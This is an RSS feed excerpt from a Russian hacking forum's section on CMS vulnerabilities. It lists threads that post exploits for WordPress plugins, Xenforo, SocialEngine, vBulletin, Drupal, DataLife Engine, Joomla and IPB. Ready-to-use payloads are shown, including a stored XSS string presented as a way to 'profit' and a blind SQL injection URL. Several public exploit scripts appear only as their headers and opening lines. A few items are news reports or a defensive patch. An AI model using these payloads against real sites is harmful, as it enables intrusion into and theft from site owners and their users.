Уязвимости популярных CMS Уязвимости популярных движков: IPB, Vbulletin, DLE, Oscommerce, WordPress, Joomla и др. Fri, 25 Sep 2026 23:42:49 +0000 Fri, 25 Sep 2026 23:42:49 +0000 Хакерский форум: свобода информации, безопасность https://xaker.name/forum/uyazvimosti-cms/ Обнаружена критическая уязвимость в WordPress 4.7.0 и 4.7.1 Fri, 10 Feb 2017 13:16:04 +0000 https://xaker.name/threads/31492/ https://xaker.name/threads/31492/ invalid@example.com (admin) admin Посмотреть вложение 1442

26 января 2017 авторы одной из самых востребованных на сегодняшний день бесплатных систем управления сайтом WordPress представили очередную версию 4.7.2. В релизе уточнялось, что в ней были устранены имевшие место в предыдущих проблемы с безопасностью, подробности которых не раскрывались....

Обнаружена критическая уязвимость в WordPress 4.7.0 и 4.7.1]]> Xss в Xenforo Sat, 28 May 2016 18:24:50 +0000 https://xaker.name/threads/29341/ https://xaker.name/threads/29341/ invalid@example.com (Хулиган) Хулиган хреньфоро пихает в description все что есть в 1 посте
пользуясь этим

создаем топик - в тело куда нибудь или под спойлер пихаем

[noparse]
Код:
 '><''>"><script>alert(/hooligan/)</script> \">
[/noparse]
профит
[​IMG]]]> 3 Обнаружена вредоносная кампания против WordPress и Joomla Sat, 07 May 2016 06:06:17 +0000 https://xaker.name/threads/31280/ https://xaker.name/threads/31280/ invalid@example.com (Vialaia) Vialaia [​IMG]​Обнаружена активная вредоносная кампания, направленная против сайтов на базе WordPress и Joomla. Злоумышленниками взламываются ресурсы, которые работают на базе популярных CMS, через многочисленные уязвимости в распространенных плагинах или эксплуатируют баги в самих CMS, играя на том, что программное обеспечение редко обновляется своевременно. Также специалисты пишут, что порой атакующие используют легитимные...

Обнаружена вредоносная кампания против WordPress и Joomla]]> Socialengine 4.8.9 - sql injection Sat, 09 Apr 2016 22:23:36 +0000 https://xaker.name/threads/31178/ https://xaker.name/threads/31178/ invalid@example.com (v1nest) v1nest SQL-инъекция происходит из-за недостаточной фильтрации входных данных, передаваемых через "OrderBy" HTTP GET параметра на "/index.php" .
Код:
http://[host]/blogs/?category=0&end_date=&orderby=1%20AND%20%28SELECT%20*%20FROM%20%28SELECT%28SLEEP%28IF%28MID%28version%28%29,1,1%29%20LIKE%205,99,0%29%29%29%29MTeU%29
]]> [lfi] wordpress advanced video plugin 1.0 Sat, 09 Apr 2016 22:16:58 +0000 https://xaker.name/threads/31177/ https://xaker.name/threads/31177/ invalid@example.com (v1nest) v1nest
Код:
#!/usr/bin/env python

# Exploit Title: Advanced-Video-Embed Arbitrary File Download / Unauthenticated Post Creation
# Google Dork: N/A
# Date: 04/01/2016
# Exploit Author: evait security GmbH
# Vendor Homepage: arshmultani - http://dscom.it/
# Software Link: https://wordpress.org/plugins/advanced-video-embed-embed-videos-or-playlists/
# Version: 1.0
# Tested on: Linux Apache / Wordpress 4.2.2

#  Timeline
#  03/24/2016 - Bug discovered
#  03/24/2016 - Initial notification of vendor
#...
[lfi] wordpress advanced video plugin 1.0]]> Wordpress plugin wp easy poll 1.1.3 - xss and csrf Sat, 09 Jan 2016 19:08:57 +0000 https://xaker.name/threads/30858/ https://xaker.name/threads/30858/ invalid@example.com (Хулиган) Хулиган
Код:
Exploit Title: WP Easy Poll 1.1.3 XSS and CSRF
Exploit Author : Ahn Sung Jun
Date : 2015-12-09
Vendor Homepage : https://wordpress.org/plugins/wp-easy-poll-afo/
Software Link : https://downloads.wordpress.org/plugin/wp-easy-poll-afo.1.1.3.zip
Version : 1.1.3
Tested On : kail linux Iceweasel

===========================================
Vulnerable Code : wp_easy_poll.php
if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){
global $wpdb;
$pc = new poll_class;

/* Line 859 */...
Wordpress plugin wp easy poll 1.1.3 - xss and csrf]]> 1 Обновление безопасности для xenforo Sat, 09 Jan 2016 19:06:05 +0000 https://xaker.name/threads/30876/ https://xaker.name/threads/30876/ invalid@example.com (admin) admin xenforo.info:
И ссылки на нулл версию. От официалов никаких предупреждений небыло о новых уязвимостях.
Банальный развод на мой взгляд, будьте бдительны.]]> 3 Уязвимости wordpress 2015 Sat, 12 Dec 2015 08:08:28 +0000 https://xaker.name/threads/30859/ https://xaker.name/threads/30859/ invalid@example.com (Хулиган) Хулиган
Wordpress plugin sell download v1.0.16 - local file disclosure.
Код:
###########################################
#-----------------------------------------#
#[ 0-DAY Aint DIE | No Priv8 | KedAns-Dz ]#
#-----------------------------------------#
# *----------------------------* #
# K |....##...##..####...####....| . #
# h |....#...#........#..#...#...| A #
# a |....#..#.........#..#....#..| N #
# l...
Уязвимости wordpress 2015]]> Уязвимости vbulletin 5.x Tue, 08 Dec 2015 14:08:24 +0000 https://xaker.name/threads/30849/ https://xaker.name/threads/30849/ invalid@example.com (Хулиган) Хулиган
Exploitfixes vbulletin 5.x - remote code execution exploit.
Код:
#[+] Title: Vbulletin 5.x - Remote Code Execution Exploit
#[+] Product: vbulletin
#[+] Vendor: http://vbulletin.com
#[+] Vulnerable Version(s): Vbulletin 5.x
#
#
# Author : Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
#...
Уязвимости vbulletin 5.x]]> Уязвимости vbulletin Mon, 23 Mar 2015 12:50:02 +0000 https://xaker.name/threads/246/ https://xaker.name/threads/246/ invalid@example.com (rijy) rijy Рассмотрим уязвимости трёх веток воблы: 2.*.*, 3.0.* и 3.1.*.


Узнаём версию форума.
В папке /clientscript/ находятся несколко js и css файлов в которых можно посмотреть точную версию форума.

Код:
vbulletin_ajax_threadslist.js
vbulletin_ajax_namesugg.js
vbulletin_attachment.js
vbulletin_cpcolorpicker.js
vbulletin_editor.js
Пример:...

Уязвимости vbulletin]]> 53 Drupal Core <= 7.32 - SQL Injection (PHP) Mon, 27 Oct 2014 06:41:18 +0000 https://xaker.name/threads/29899/ https://xaker.name/threads/29899/ invalid@example.com (Хулиган) Хулиган
Код:
<?php
#-----------------------------------------------------------------------------#
# Exploit Title: Drupal core 7.x - SQL Injection                              #
# Date: Oct 16 2014                                                           #
# Exploit Author: Dustin Dörr                                                 #
# Software Link: http://www.drupal.com/                                       #
# Version: Drupal core 7.x versions prior to 7.32...
Drupal Core <= 7.32 - SQL Injection (PHP)]]> DataLife Engine 9.7 (preview.php) PHP Code Injection Vulnerability Read more: http:/ Mon, 26 Aug 2013 10:58:22 +0000 https://xaker.name/threads/27815/ https://xaker.name/threads/27815/ invalid@example.com (Хулиган) Хулиган
Код:
------------------------------------------------------------------
DataLife Engine 9.7 (preview.php) PHP Code Injection Vulnerability
------------------------------------------------------------------
 
[-] Software Link:
 
http://dleviet.com/
 
 
[-] Affected Version:
 
9.7 only.
 
 
[-] Vulnerability Description:
 
The vulnerable code is located in the /engine/preview.php script:
 
246.    $c_list = implode (',', $_REQUEST['catlist']);
247.
248.    if( strpos(...
DataLife Engine 9.7 (preview.php) PHP Code Injection Vulnerability Read more: http:/]]> 1 Уязвимости WordPress Thu, 31 Jan 2013 13:30:01 +0000 https://xaker.name/threads/19291/ https://xaker.name/threads/19291/ invalid@example.com (onthar) onthar
Для исправления этой уязвимости необходимо добавить следующий код в файл functions.php, который находится в папке шаблона блога:
Код:
function ft_stop_trackback_dos_attacks(){
 global $pagenow;
 if ( 'wp-trackback.php' == $pagenow ){
 // DoS attack fix.
 if ( isset($_POST['charset']) ){
 $charset = $_POST['charset'];
 if ( strlen($charset) > 50 ) { die; }
 }
 }
}...
Уязвимости WordPress]]> 34 Уязвимости Joomla && Mambo Tue, 22 Jan 2013 15:35:46 +0000 https://xaker.name/threads/19290/ https://xaker.name/threads/19290/ invalid@example.com (NetSky) NetSky 03 ноября, 2008

Программа: Flash Tree Gallery (компонент к Joomla) 1.0, возможно другие версии.

Опасность: Высокая

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "mosConfig_live_site" в сценарии administrator/components/com_treeg/admin.treeg.php. Удаленный пользователь может с...

Уязвимости Joomla && Mambo]]> 32 Уязвимости IPB (Invision Power Board) Sat, 10 Nov 2012 22:06:41 +0000 https://xaker.name/threads/27444/ https://xaker.name/threads/27444/ invalid@example.com (Хулиган) Хулиган
Invision Power Board <= 3.3.4 unserialize Regex Bypass​


Код:
<?php
/*
 
So this is the patch that sanitizes,
static public function safeUnserialize( $serialized )
    {
        // unserialize will return false for object declared with small cap o
        // as well as if there is any ws between O and :
        if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
        {
            if ( strpos( $serialized, 'O:' ) === false )...
Уязвимости IPB (Invision Power Board)]]>